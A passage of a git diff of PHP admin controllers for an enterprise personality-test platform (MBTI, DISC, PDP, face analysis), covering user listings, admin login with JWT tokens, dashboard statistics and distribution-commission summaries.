$trBase) + ->group('userId') + ->column('COUNT(*) as cnt', 'userId'); + $testCounts = $counts ?: []; + + $lastRows = (clone $trBase) + ->field('id, userId, testType, resultData, createdAt, enterpriseId as testEnterpriseId') + ->order('createdAt', 'desc') + ->select(); + foreach ($lastRows as $row) { + $uid = $row['userId']; + if (!isset($lastTestAt[$uid])) { + $lastTestAt[$uid] = $row['createdAt']; + } + if (!isset($testTypes[$uid])) { + $testTypes[$uid] = []; + } + $testTypes[$uid][] = [ + 'testType' => $row['testType'], + 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE), + 'createdAt' => $row['createdAt'], + 'testScope' => !empty($row['testEnterpriseId']) ? 'enterprise' : 'personal', + ]; + } + // 付款统计:user_profile(按当前企业过滤) + try { + $profilesQuery = Db::name('user_profile') + ->where('userId', 'in', $ids); + if ($enterpriseId) { + $profilesQuery->where('enterpriseId', $enterpriseId); + } + $profiles = $profilesQuery + ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount') + ->group('userId') + ->select() + ->toArray(); + foreach ($profiles as $p) { + $uid = (int) ($p['userId'] ?? 0); + if ($uid > 0) { + $payStats[$uid] = [ + 'paidOrders' => (int) ($p['paidOrders'] ?? 0), + 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0), + ]; + } + } + } catch (\Throwable $e) { + $payStats = []; + } + } + + foreach ($list as &$row) { + $id = $row['id']; + $testsForUser = $testTypes[$id] ?? []; + $row['username'] = $row['nickname'] ?? ('用户' . $id); + $row['testCount'] = (int) ($testCounts[$id] ?? 0); + $row['lastTestAt'] = $lastTestAt[$id] ?? null; + $row['tests'] = $testsForUser; + $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti'); + $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp'); + $row['discType'] = $this->extractResultType($testsForUser, 'disc'); + $row['faceType'] = $this->extractResultType($testsForUser, 'face'); + $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti'); + $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc'); + $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp'); + $row['enterprise'] = $enterpriseName !== null ? $enterpriseName : '全部'; + $pay = $payStats[$id] ?? null; + $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0; + $row['totalPaidAmount'] = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 测试用户详情:基本信息 + 测试记录列表 + * GET /api/v1/admin/app-users/:id + */ + public function detail($id) + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + // admin / enterprise_admin 均只能查看本企业的用户 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + if ($enterpriseId) { + // 使用 user_profile 判断该用户是否属于当前企业(以画像为主表) + $has = Db::name('user_profile') + ->where('userId', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + if (!$has) { + return error('无权限查看该用户', 403); + } + } + + $row = Db::name('wechat_users')->where('id', $id)->find(); + if (!$row) { + return error('用户不存在', 404); + } + + $data = [ + 'id' => (int) $row['id'], + 'username' => $row['nickname'] ?? ('用户' . $row['id']), + 'nickname' => $row['nickname'] ?? '', + 'avatar' => $row['avatar'] ?? '', + 'phone' => $row['phone'] ?? '', + 'email' => '', + 'gender' => (int) ($row['gender'] ?? 0), + 'country' => $row['country'] ?? '', + 'province' => $row['province'] ?? '', + 'city' => $row['city'] ?? '', + 'status' => (int) ($row['status'] ?? 1), + 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null, + 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null, + 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null, + ]; + + // 测试列表:严格按 test_results.enterpriseId 归属本企业过滤 + $testQuery = Db::name('test_results')->where('userId', $id); + if ($enterpriseId) { + $testQuery->where('enterpriseId', $enterpriseId); + } + $tests = $testQuery + ->field('id, testType, resultData, enterpriseId as testEnterpriseId, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as &$t) { + $raw = $t['resultData'] ?? ''; + $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + $t['testScope'] = !empty($t['testEnterpriseId']) ? 'enterprise' : 'personal'; + unset($t['testEnterpriseId']); + } + + $data['testCount'] = count($tests); + $data['testList'] = $tests; + $data['mbtiType'] = $this->extractResultType($tests, 'mbti'); + $data['pdpType'] = $this->extractResultType($tests, 'pdp'); + $data['discType'] = $this->extractResultType($tests, 'disc'); + $data['faceType'] = $this->extractResultType($tests, 'face'); + $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti'); + $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc'); + $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp'); + + return success($data); + } + + /** + * 从测试记录中取出某类型的最近结果(result 可能是 JSON 字符串,取 type 或 result 字段) + */ + private function extractResultType(array $tests, string $type): string + { + $targetType = strtolower($type); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== $targetType) { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + return $targetType === 'face' ? '人脸分析' : trim($result); + } + + if ($targetType === 'face') { + return '人脸分析'; + } + + if ($targetType === 'mbti') { + return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? ''); + } + + if ($targetType === 'disc') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['disc'] ?? ''); + } + + if ($targetType === 'pdp') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['pdp'] ?? ''); + } + + return (string) ($dec['type'] ?? $dec['result'] ?? ''); + } + return ''; + } + + /** + * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本 + */ + private function extractFaceSubType(array $tests, string $subType): string + { + $target = strtolower($subType); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== 'face') { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + continue; + } + + if ($target === 'mbti') { + if (!empty($dec['mbti']['type'])) { + return (string) $dec['mbti']['type']; + } + if (!empty($dec['mbtiType'])) { + return (string) $dec['mbtiType']; + } + } elseif ($target === 'disc') { + if (!empty($dec['disc']['primary'])) { + return (string) $dec['disc']['primary']; + } + if (!empty($dec['disc'])) { + return (string) $dec['disc']; + } + } elseif ($target === 'pdp') { + if (!empty($dec['pdp']['primary'])) { + return (string) $dec['pdp']['primary']; + } + if (!empty($dec['pdp'])) { + return (string) $dec['pdp']; + } + } + } + return ''; + } +} diff --git a/api/app/controller/admin/Auth.php b/api/app/controller/admin/Auth.php index 9adb4cb..6f36a08 100644 --- a/api/app/controller/admin/Auth.php +++ b/api/app/controller/admin/Auth.php @@ -1,265 +1,265 @@ -where('username', $username) - ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员登录 - ->find(); - - if (!$user) { - return error('用户名或密码错误', 401); - } - - // 验证密码 - if (!password_verify($password, $user['password'])) { - return error('用户名或密码错误', 401); - } - - // 检查账号状态 - if ($user['status'] != 1) { - return error('账号已被禁用', 403); - } - - // 更新登录信息(使用时间戳,驼峰命名) - Db::name('users') - ->where('id', $user['id']) - ->update([ - 'lastLoginTime' => time(), - 'lastLoginIp' => Request::ip(), - 'updatedAt' => time() - ]); - - // 生成Token - $payload = [ - 'userId' => $user['id'], - 'username' => $user['username'], - 'role' => $user['role'], - 'enterpriseId' => $user['enterpriseId'] ?? null - ]; - - $token = JwtService::generateToken($payload); - - unset($user['password']); - - return success([ - 'token' => $token, - 'expires_in' => config('jwt.expire'), - 'user' => $user - ], '登录成功'); - } - - /** - * 管理员登录(新路由:/api/v1/auth/admin/login) - * @return \think\response\Json - */ - public function adminLogin() - { - $username = Request::param('username', ''); - $password = Request::param('password', ''); - - if (empty($username) || empty($password)) { - return error('用户名和密码不能为空', 400); - } - - // 查找用户(使用原生查询获取密码字段) - $user = Db::name('users') - ->where('username', $username) - ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员 - ->find(); - - if (!$user) { - return error('用户名或密码错误', 401); - } - - // 验证密码 - if (!password_verify($password, $user['password'])) { - return error('用户名或密码错误', 401); - } - - // 检查账号状态 - if ($user['status'] != 1) { - return error('账号已被禁用', 403); - } - - // 更新登录信息(使用时间戳,驼峰命名) - Db::name('users') - ->where('id', $user['id']) - ->update([ - 'lastLoginTime' => time(), - 'lastLoginIp' => Request::ip(), - 'updatedAt' => time() - ]); - - // 生成Token - $payload = [ - 'userId' => $user['id'], - 'username' => $user['username'], - 'role' => $user['role'], - 'enterpriseId' => $user['enterpriseId'] ?? null - ]; - - $token = JwtService::generateToken($payload); - - unset($user['password']); - - return success([ - 'token' => $token, - 'expires_in' => config('jwt.expire'), - 'user' => $user - ], '登录成功'); - } - - /** - * 超级管理员登录(新路由:/api/v1/auth/superadmin/login) - * @return \think\response\Json - */ - public function superAdminLogin() - { - $username = Request::param('username', ''); - $password = Request::param('password', ''); - - if (empty($username) || empty($password)) { - return error('用户名和密码不能为空', 400); - } - - // 查找用户(使用原生查询获取密码字段) - $user = Db::name('users') - ->where('username', $username) - ->where('role', 'superadmin') // 只允许超级管理员 - ->find(); - - if (!$user) { - return error('用户名或密码错误', 401); - } - - // 验证密码 - if (!password_verify($password, $user['password'])) { - return error('用户名或密码错误', 401); - } - - // 检查账号状态 - if ($user['status'] != 1) { - return error('账号已被禁用', 403); - } - - // 更新登录信息(使用时间戳,驼峰命名) - Db::name('users') - ->where('id', $user['id']) - ->update([ - 'lastLoginTime' => time(), - 'lastLoginIp' => Request::ip(), - 'updatedAt' => time() - ]); - - // 生成Token - $payload = [ - 'userId' => $user['id'], - 'username' => $user['username'], - 'role' => $user['role'] - ]; - - $token = JwtService::generateToken($payload); - - unset($user['password']); - - return success([ - 'token' => $token, - 'expires_in' => config('jwt.expire'), - 'user' => $user - ], '登录成功'); - } - - /** - * 获取当前登录管理员信息(需要认证) - * @return \think\response\Json - */ - public function me() - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - $userModel = Db::name('users')->where('id', $user['userId'] ?? $user['user_id'] ?? null)->find(); - if (!$userModel) { - return error('用户不存在', 404); - } - - // 检查角色(必须是普通管理员或企业管理员,不包括超级管理员) - if (!in_array($userModel['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问后台', 403); - } - - unset($userModel['password']); - - return success($userModel); - } - - /** - * 退出登录(需要认证) - * @return \think\response\Json - */ - public function logout() - { - $user = $this->request->user ?? null; - - if ($user && isset($user['userId'])) { - JwtService::deleteToken($user['userId']); - } elseif ($user && isset($user['user_id'])) { - JwtService::deleteToken($user['user_id']); - } - - return success(null, '退出成功'); - } - - /** - * 刷新Token - * @return \think\response\Json - */ - public function refresh() - { - $token = JwtService::getTokenFromRequest($this->request); - - if (!$token) { - return error('未提供Token', 401); - } - - $newToken = JwtService::refreshToken($token); - - if (!$newToken) { - return error('Token无效或已过期', 401); - } - - return success([ - 'token' => $newToken, - 'expires_in' => config('jwt.expire') - ], '刷新成功'); - } -} - +where('username', $username) + ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员登录 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'], + 'enterpriseId' => $user['enterpriseId'] ?? null + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 管理员登录(新路由:/api/v1/auth/admin/login) + * @return \think\response\Json + */ + public function adminLogin() + { + $username = Request::param('username', ''); + $password = Request::param('password', ''); + + if (empty($username) || empty($password)) { + return error('用户名和密码不能为空', 400); + } + + // 查找用户(使用原生查询获取密码字段) + $user = Db::name('users') + ->where('username', $username) + ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'], + 'enterpriseId' => $user['enterpriseId'] ?? null + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 超级管理员登录(新路由:/api/v1/auth/superadmin/login) + * @return \think\response\Json + */ + public function superAdminLogin() + { + $username = Request::param('username', ''); + $password = Request::param('password', ''); + + if (empty($username) || empty($password)) { + return error('用户名和密码不能为空', 400); + } + + // 查找用户(使用原生查询获取密码字段) + $user = Db::name('users') + ->where('username', $username) + ->where('role', 'superadmin') // 只允许超级管理员 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'] + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 获取当前登录管理员信息(需要认证) + * @return \think\response\Json + */ + public function me() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + $userModel = Db::name('users')->where('id', $user['userId'] ?? $user['user_id'] ?? null)->find(); + if (!$userModel) { + return error('用户不存在', 404); + } + + // 检查角色(必须是普通管理员或企业管理员,不包括超级管理员) + if (!in_array($userModel['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问后台', 403); + } + + unset($userModel['password']); + + return success($userModel); + } + + /** + * 退出登录(需要认证) + * @return \think\response\Json + */ + public function logout() + { + $user = $this->request->user ?? null; + + if ($user && isset($user['userId'])) { + JwtService::deleteToken($user['userId']); + } elseif ($user && isset($user['user_id'])) { + JwtService::deleteToken($user['user_id']); + } + + return success(null, '退出成功'); + } + + /** + * 刷新Token + * @return \think\response\Json + */ + public function refresh() + { + $token = JwtService::getTokenFromRequest($this->request); + + if (!$token) { + return error('未提供Token', 401); + } + + $newToken = JwtService::refreshToken($token); + + if (!$newToken) { + return error('Token无效或已过期', 401); + } + + return success([ + 'token' => $newToken, + 'expires_in' => config('jwt.expire') + ], '刷新成功'); + } +} + diff --git a/api/app/controller/admin/Dashboard.php b/api/app/controller/admin/Dashboard.php index 718f7fc..b8c81d9 100644 --- a/api/app/controller/admin/Dashboard.php +++ b/api/app/controller/admin/Dashboard.php @@ -1,179 +1,179 @@ -request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 验证是否为管理员 - if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - try { - // admin / enterprise_admin 均只统计本企业数据 - $enterpriseId = $user['enterpriseId'] ?? null; - if (!$enterpriseId) { - $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); - $enterpriseId = $adminRow['enterpriseId'] ?? null; - } - - // 企业用户 ID 集合(用于后续统计个人版测试) - $enterpriseUserIds = []; - if ($enterpriseId) { - $enterpriseUserIds = Db::name('wechat_users') - ->where('enterpriseId', $enterpriseId) - ->column('id'); - $enterpriseUserIds = array_values(array_filter($enterpriseUserIds)); - } - - // 总用户数:wechat_users.enterpriseId = 本企业 - if ($enterpriseId) { - $totalUsers = count($enterpriseUserIds); - } else { - try { - $totalUsers = (int) Db::name('wechat_users')->count('openid', true); - } catch (\Throwable $e) { - $totalUsers = (int) Db::name('wechat_users')->count(); - } - } - - // 已完成测试数:严格按 test_results.enterpriseId 归属企业统计 - if ($enterpriseId) { - $testsCompleted = (int) Db::name('test_results') - ->where('enterpriseId', $enterpriseId) - ->count(); - } else { - $testsCompleted = (int) Db::name('test_results')->count(); - } - - // 今日活跃用户数 - $todayStart = strtotime(date('Y-m-d 00:00:00')); - $todayEnd = strtotime(date('Y-m-d 23:59:59')); - $activeQuery = Db::name('test_results') - ->where('createdAt', '>=', $todayStart) - ->where('createdAt', '<=', $todayEnd); - if ($enterpriseId) { - $activeQuery->where('enterpriseId', $enterpriseId); - $activeIds = $activeQuery->distinct(true)->column('userId'); - $activeToday = count(array_filter($activeIds)); - } else { - $activeIds = $activeQuery->distinct(true)->column('userId'); - $activeToday = count(array_filter($activeIds)); - } - - // 待审核(暂返回0) - $pendingReviews = 0; - - // 最近 14 天测试趋势 - $days = 14; - $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); - $trendQuery = Db::name('test_results') - ->where('createdAt', '>=', $startDate) - ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']); - if ($enterpriseId) { - $trendQuery->where('enterpriseId', $enterpriseId); - } - $trendRows = $trendQuery - ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c") - ->group('d,testType') - ->order('d', 'asc') - ->select() - ->toArray(); - - // 组装为按日期汇总的数组 - $trendMap = []; - foreach ($trendRows as $row) { - $d = $row['d']; - $type = $row['testType']; - $cnt = (int) ($row['c'] ?? 0); - if (!isset($trendMap[$d])) { - $trendMap[$d] = [ - 'date' => $d, - 'face' => 0, - 'mbti' => 0, - 'disc' => 0, - 'pdp' => 0, - 'total' => 0, - ]; - } - if (in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) { - $trendMap[$d][$type] += $cnt; - $trendMap[$d]['total'] += $cnt; - } - } - - // 补齐没有数据的日期 - $trendData = []; - for ($i = 0; $i < $days; $i++) { - $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); - if (isset($trendMap[$d])) { - $trendData[] = $trendMap[$d]; - } else { - $trendData[] = [ - 'date' => $d, - 'face' => 0, - 'mbti' => 0, - 'disc' => 0, - 'pdp' => 0, - 'total' => 0, - ]; - } - } - - return success([ - 'totalUsers' => $totalUsers, - 'testsCompleted' => $testsCompleted, - 'activeToday' => $activeToday, - 'pendingReviews' => $pendingReviews, - 'testTrends' => $trendData, - ]); - } catch (\Exception $e) { - return error('获取统计数据失败:' . $e->getMessage(), 500); - } - } - - /** - * 格式化时间 - * @param int $timestamp - * @return string - */ - private function formatTime($timestamp) - { - if (!$timestamp) { - return ''; - } - - $now = time(); - $diff = $now - $timestamp; - - if ($diff < 60) { - return '刚刚'; - } elseif ($diff < 3600) { - return floor($diff / 60) . '分钟前'; - } elseif ($diff < 86400) { - return floor($diff / 3600) . '小时前'; - } elseif ($diff < 604800) { - return floor($diff / 86400) . '天前'; - } else { - return date('Y-m-d H:i', $timestamp); - } - } -} +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + // admin / enterprise_admin 均只统计本企业数据 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + // 企业用户 ID 集合(用于后续统计个人版测试) + $enterpriseUserIds = []; + if ($enterpriseId) { + $enterpriseUserIds = Db::name('wechat_users') + ->where('enterpriseId', $enterpriseId) + ->column('id'); + $enterpriseUserIds = array_values(array_filter($enterpriseUserIds)); + } + + // 总用户数:wechat_users.enterpriseId = 本企业 + if ($enterpriseId) { + $totalUsers = count($enterpriseUserIds); + } else { + try { + $totalUsers = (int) Db::name('wechat_users')->count('openid', true); + } catch (\Throwable $e) { + $totalUsers = (int) Db::name('wechat_users')->count(); + } + } + + // 已完成测试数:严格按 test_results.enterpriseId 归属企业统计 + if ($enterpriseId) { + $testsCompleted = (int) Db::name('test_results') + ->where('enterpriseId', $enterpriseId) + ->count(); + } else { + $testsCompleted = (int) Db::name('test_results')->count(); + } + + // 今日活跃用户数 + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $todayEnd = strtotime(date('Y-m-d 23:59:59')); + $activeQuery = Db::name('test_results') + ->where('createdAt', '>=', $todayStart) + ->where('createdAt', '<=', $todayEnd); + if ($enterpriseId) { + $activeQuery->where('enterpriseId', $enterpriseId); + $activeIds = $activeQuery->distinct(true)->column('userId'); + $activeToday = count(array_filter($activeIds)); + } else { + $activeIds = $activeQuery->distinct(true)->column('userId'); + $activeToday = count(array_filter($activeIds)); + } + + // 待审核(暂返回0) + $pendingReviews = 0; + + // 最近 14 天测试趋势 + $days = 14; + $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + $trendQuery = Db::name('test_results') + ->where('createdAt', '>=', $startDate) + ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']); + if ($enterpriseId) { + $trendQuery->where('enterpriseId', $enterpriseId); + } + $trendRows = $trendQuery + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c") + ->group('d,testType') + ->order('d', 'asc') + ->select() + ->toArray(); + + // 组装为按日期汇总的数组 + $trendMap = []; + foreach ($trendRows as $row) { + $d = $row['d']; + $type = $row['testType']; + $cnt = (int) ($row['c'] ?? 0); + if (!isset($trendMap[$d])) { + $trendMap[$d] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + if (in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) { + $trendMap[$d][$type] += $cnt; + $trendMap[$d]['total'] += $cnt; + } + } + + // 补齐没有数据的日期 + $trendData = []; + for ($i = 0; $i < $days; $i++) { + $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + if (isset($trendMap[$d])) { + $trendData[] = $trendMap[$d]; + } else { + $trendData[] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + } + + return success([ + 'totalUsers' => $totalUsers, + 'testsCompleted' => $testsCompleted, + 'activeToday' => $activeToday, + 'pendingReviews' => $pendingReviews, + 'testTrends' => $trendData, + ]); + } catch (\Exception $e) { + return error('获取统计数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 格式化时间 + * @param int $timestamp + * @return string + */ + private function formatTime($timestamp) + { + if (!$timestamp) { + return ''; + } + + $now = time(); + $diff = $now - $timestamp; + + if ($diff < 60) { + return '刚刚'; + } elseif ($diff < 3600) { + return floor($diff / 60) . '分钟前'; + } elseif ($diff < 86400) { + return floor($diff / 3600) . '小时前'; + } elseif ($diff < 604800) { + return floor($diff / 86400) . '天前'; + } else { + return date('Y-m-d H:i', $timestamp); + } + } +} diff --git a/api/app/controller/admin/Distribution.php b/api/app/controller/admin/Distribution.php index 9c470fa..39aa678 100644 --- a/api/app/controller/admin/Distribution.php +++ b/api/app/controller/admin/Distribution.php @@ -1,772 +1,772 @@ -request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $todayStart = strtotime(date('Y-m-d 00:00:00')); - $days = 7; - $trendStart = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); - - try { - $query = Db::name('commission_records') - ->where('enterpriseId', $enterpriseId); - - $totalCommission = (clone $query)->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; - $paidCommission = (clone $query)->where('status', 'paid')->sum('commissionFen') ?: 0; - $frozenCommission = (clone $query)->where('status', 'frozen')->sum('commissionFen') ?: 0; - $totalOrders = (clone $query)->whereIn('status', ['paid', 'frozen'])->count(); - $todayCommission = (clone $query) - ->whereIn('status', ['paid', 'frozen']) - ->where('createdAt', '>=', $todayStart) - ->sum('commissionFen') ?: 0; - $pendingCount = (clone $query)->where('status', 'frozen')->count(); - - $bindingQuery = Db::name('distribution_bindings') - ->where('enterpriseId', $enterpriseId) - ->where('status', 'active') - ->where('expireAt', '>', time()); - $bindingCount = (clone $bindingQuery)->count(); - $totalAgents = (clone $bindingQuery)->distinct(true)->count('inviterId'); - $todayAgents = Db::name('distribution_bindings') - ->where('enterpriseId', $enterpriseId) - ->where('createdAt', '>=', $todayStart) - ->distinct(true) - ->count('inviterId'); - - $trendRows = Db::name('commission_records') - ->where('enterpriseId', $enterpriseId) - ->whereIn('status', ['paid', 'frozen']) - ->where('createdAt', '>=', $trendStart) - ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, SUM(commissionFen) as totalFen") - ->group('d') - ->order('d', 'asc') - ->select() - ->toArray(); - $trendMap = []; - foreach ($trendRows as $row) { - $trendMap[$row['d']] = (int) ($row['totalFen'] ?? 0); - } - $commissionTrend = []; - for ($i = 0; $i < $days; $i++) { - $date = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); - $commissionTrend[] = [ - 'date' => $date, - 'amount' => round(($trendMap[$date] ?? 0) / 100, 2), - ]; - } - - $productSeries = self::buildProductCommissionSeries($enterpriseId); - - return success([ - 'totalAgents' => (int) $totalAgents, - 'todayAgents' => (int) $todayAgents, - 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''), - 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''), - 'pendingCommission' => number_format($frozenCommission / 100, 2, '.', ''), - 'pendingCount' => (int) $pendingCount, - 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''), - 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''), - 'totalOrders' => (int) $totalOrders, - 'bindingCount' => (int) $bindingCount, - 'commissionTrend' => $commissionTrend, - 'productCommissionSeries' => $productSeries, - ]); - } catch (\Exception $e) { - return error('获取数据失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/distributors 分销商列表(有过邀请行为的用户) - // ───────────────────────────────────────────────────────────── - public function distributors() - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { - return error('无权限', 403); - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - $search = trim((string) Request::param('search', '')); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, (int) Request::param('pageSize', 20)); - - try { - // 找出与本企业关联的所有有过邀请行为的用户(不限 scope,按 enterpriseId 筛选) - $query = Db::name('distribution_bindings') - ->where('enterpriseId', $enterpriseId) - ->distinct(true) - ->field('inviterId') - ->buildSql(); - - $inviterQuery = Db::name('wechat_users') - ->alias('u') - ->whereRaw("u.id IN {$query}") - ->field('u.id, u.nickname, u.avatar, u.createdAt'); - - if ($search !== '') { - $inviterQuery->where(function ($q) use ($search) { - $q->where('u.nickname', 'like', "%{$search}%") - ->whereOr('u.id', '=', is_numeric($search) ? (int)$search : -1); - }); - } - - $total = (clone $inviterQuery)->count(); - $inviters = $inviterQuery->page($page, $pageSize)->select()->toArray(); - - $inviterIds = array_column($inviters, 'id'); - - // 各邀请人的累计佣金与可提现佣金 - $commStats = []; - if (!empty($inviterIds)) { - $rows = Db::name('commission_records') - ->whereIn('inviterId', $inviterIds) - ->where('enterpriseId', $enterpriseId) - ->field('inviterId, - SUM(IF(status IN ("paid","frozen"), commissionFen, 0)) as totalFen, - SUM(IF(status = "paid", commissionFen, 0)) as paidFen') - ->group('inviterId') - ->select()->toArray(); - foreach ($rows as $r) { - $commStats[$r['inviterId']] = $r; - } - - // 已提现金额 - $withdrawnRows = Db::name('distribution_withdrawals') - ->whereIn('userId', $inviterIds) - // 提现金额统计:0=审核中,2=待收款,3=已收款 - ->whereIn('status', [0, 2, 3]) - ->field('userId, SUM(amountFen) as withdrawnFen') - ->group('userId') - ->select()->toArray(); - $withdrawnMap = []; - foreach ($withdrawnRows as $r) { - $withdrawnMap[$r['userId']] = (int)$r['withdrawnFen']; - } - - // 团队人数(绑定人数,不限 scope) - $teamRows = Db::name('distribution_bindings') - 